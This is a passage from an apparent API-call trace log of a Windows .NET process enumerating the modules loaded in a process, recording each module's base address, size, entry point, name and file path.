"c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0234.142] CoTaskMemFree (pv=0x4fb3308) [0234.142] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x24cc320, cb=0xc | out: lpmodinfo=0x24cc320*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0234.142] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.142] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0234.142] CoTaskMemFree (pv=0x4fb3308) [0234.142] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.142] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0234.143] CoTaskMemFree (pv=0x4fb3308) [0234.143] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x24ce42c, cb=0xc | out: lpmodinfo=0x24ce42c*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0234.143] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.143] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0234.143] CoTaskMemFree (pv=0x4fb3308) [0234.143] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.143] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0234.143] CoTaskMemFree (pv=0x4fb3308) [0234.143] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x24d0540, cb=0xc | out: lpmodinfo=0x24d0540*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0234.143] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.143] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0234.144] CoTaskMemFree (pv=0x4fb3308) [0234.144] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.144] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0234.144] CoTaskMemFree (pv=0x4fb3308) [0234.144] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x24d2688, cb=0xc | out: lpmodinfo=0x24d2688*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0234.144] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.144] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0234.144] CoTaskMemFree (pv=0x4fb3308) [0234.144] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.144] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0234.145] CoTaskMemFree (pv=0x4fb3308) [0234.145] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x24d479c, cb=0xc | out: lpmodinfo=0x24d479c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0234.145] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.145] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0234.145] CoTaskMemFree (pv=0x4fb3308) [0234.145] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.145] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0234.145] CoTaskMemFree (pv=0x4fb3308) [0234.145] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x24d68a8, cb=0xc | out: lpmodinfo=0x24d68a8*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0234.146] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.146] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0234.146] CoTaskMemFree (pv=0x4fb3308) [0234.146] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.146] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0234.146] CoTaskMemFree (pv=0x4fb3308) [0234.146] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x24d89b4, cb=0xc | out: lpmodinfo=0x24d89b4*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0234.146] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.146] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0234.147] CoTaskMemFree (pv=0x4fb3308) [0234.147] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.147] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0234.147] CoTaskMemFree (pv=0x4fb3308) [0234.147] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x24dab0c, cb=0xc | out: lpmodinfo=0x24dab0c*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0234.147] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.147] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0234.148] CoTaskMemFree (pv=0x4fb3308) [0234.148] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.148] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0234.148] CoTaskMemFree (pv=0x4fb3308) [0234.148] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x24dcc18, cb=0xc | out: lpmodinfo=0x24dcc18*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0234.148] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.148] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0234.149] CoTaskMemFree (pv=0x4fb3308) [0234.149] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.149] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0234.149] CoTaskMemFree (pv=0x4fb3308) [0234.149] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x24ded2c, cb=0xc | out: lpmodinfo=0x24ded2c*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0234.149] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.150] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0234.150] CoTaskMemFree (pv=0x4fb3308) [0234.150] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.150] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0234.150] CoTaskMemFree (pv=0x4fb3308) [0234.150] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x24e0e74, cb=0xc | out: lpmodinfo=0x24e0e74*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0234.151] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.151] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0234.151] CoTaskMemFree (pv=0x4fb3308) [0234.151] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.151] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0234.152] CoTaskMemFree (pv=0x4fb3308) [0234.152] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x24e2f80, cb=0xc | out: lpmodinfo=0x24e2f80*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0234.152] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.152] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0234.152] CoTaskMemFree (pv=0x4fb3308) [0234.152] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.152] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0234.153] CoTaskMemFree (pv=0x4fb3308) [0234.153] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x24e5084, cb=0xc | out: lpmodinfo=0x24e5084*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0234.153] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.153] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0234.154] CoTaskMemFree (pv=0x4fb3308) [0234.154] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.154] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0234.154] CoTaskMemFree (pv=0x4fb3308) [0234.154] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x24e7190, cb=0xc | out: lpmodinfo=0x24e7190*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0234.155] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.155] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0234.155] CoTaskMemFree (pv=0x4fb3308) [0234.155] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.155] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0234.156] CoTaskMemFree (pv=0x4fb3308) [0234.156] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x24e928c, cb=0xc | out: lpmodinfo=0x24e928c*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0234.156] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.156] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0234.156] CoTaskMemFree (pv=0x4fb3308) [0234.157] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.157] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0234.157] CoTaskMemFree (pv=0x4fb3308) [0234.157] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x24eb41c, cb=0xc | out: lpmodinfo=0x24eb41c*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0234.157] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.157] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0234.158] CoTaskMemFree (pv=0x4fb3308) [0234.158] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.158] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0234.158] CoTaskMemFree (pv=0x4fb3308) [0234.158] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x24ed520, cb=0xc | out: lpmodinfo=0x24ed520*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0234.159] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.159] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0234.159] CoTaskMemFree (pv=0x4fb3308) [0234.159] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.159] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0234.160] CoTaskMemFree (pv=0x4fb3308) [0234.160] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x24ef624, cb=0xc | out: lpmodinfo=0x24ef624*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0234.160] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.160] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0234.161] CoTaskMemFree (pv=0x4fb3308) [0234.161] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.161] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0234.161] CoTaskMemFree (pv=0x4fb3308) [0234.161] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x24f1730, cb=0xc | out: lpmodinfo=0x24f1730*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0234.162] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.162] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0234.162] CoTaskMemFree (pv=0x4fb3308) [0234.162] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.162] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0234.163] CoTaskMemFree (pv=0x4fb3308) [0234.163] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x24f3860, cb=0xc | out: lpmodinfo=0x24f3860*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0234.163] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.163] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0234.164] CoTaskMemFree (pv=0x4fb3308) [0234.164] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.164] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0234.165] CoTaskMemFree (pv=0x4fb3308) [0234.165] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x24f5994, cb=0xc | out: lpmodinfo=0x24f5994*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0234.165] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.165] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0234.165] CoTaskMemFree (pv=0x4fb3308) [0234.166] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.166] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0234.218] CoTaskMemFree (pv=0x4fb3308) [0234.218] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x24f7b3c, cb=0xc | out: lpmodinfo=0x24f7b3c*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0234.218] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.219] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0234.219] CoTaskMemFree (pv=0x4fb3308) [0234.219] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.219] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0234.219] CoTaskMemFree (pv=0x4fb3308) [0234.219] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x24f9c40, cb=0xc | out: lpmodinfo=0x24f9c40*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0234.220] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.220] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0234.220] CoTaskMemFree (pv=0x4fb3308) [0234.220] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.220] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0234.221] CoTaskMemFree (pv=0x4fb3308) [0234.221] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x24fbd4c, cb=0xc | out: lpmodinfo=0x24fbd4c*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0234.221] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.221] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0234.222] CoTaskMemFree (pv=0x4fb3308) [0234.222] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.222] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0234.222] CoTaskMemFree (pv=0x4fb3308) [0234.223] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x24fdee8, cb=0xc | out: lpmodinfo=0x24fdee8*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0234.223] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.223] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0234.224] CoTaskMemFree (pv=0x4fb3308) [0234.224] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.224] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0234.224] CoTaskMemFree (pv=0x4fb3308) [0234.224] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x25000a4, cb=0xc | out: lpmodinfo=0x25000a4*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0234.225] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.225] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0234.225] CoTaskMemFree (pv=0x4fb3308) [0234.225] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.225] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0234.226] CoTaskMemFree (pv=0x4fb3308) [0234.226] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x2502298, cb=0xc | out: lpmodinfo=0x2502298*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0234.226] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.226] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0234.227] CoTaskMemFree (pv=0x4fb3308) [0234.227] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.227] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0234.227] CoTaskMemFree (pv=0x4fb3308) [0234.227] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x25043d8, cb=0xc | out: lpmodinfo=0x25043d8*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0234.228] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.228] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0234.229] CoTaskMemFree (pv=0x4fb3308) [0234.229] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.229] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0234.230] CoTaskMemFree (pv=0x4fb3308) [0234.230] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x25064ec, cb=0xc | out: lpmodinfo=0x25064ec*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0234.231] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.231] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0234.231] CoTaskMemFree (pv=0x4fb3308) [0234.231] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.231] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0234.232] CoTaskMemFree (pv=0x4fb3308) [0234.232] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x25086b8, cb=0xc | out: lpmodinfo=0x25086b8*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0234.232] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.232] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0234.233] CoTaskMemFree (pv=0x4fb3308) [0234.233] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.233] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0234.233] CoTaskMemFree (pv=0x4fb3308) [0234.233] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x250a8a8, 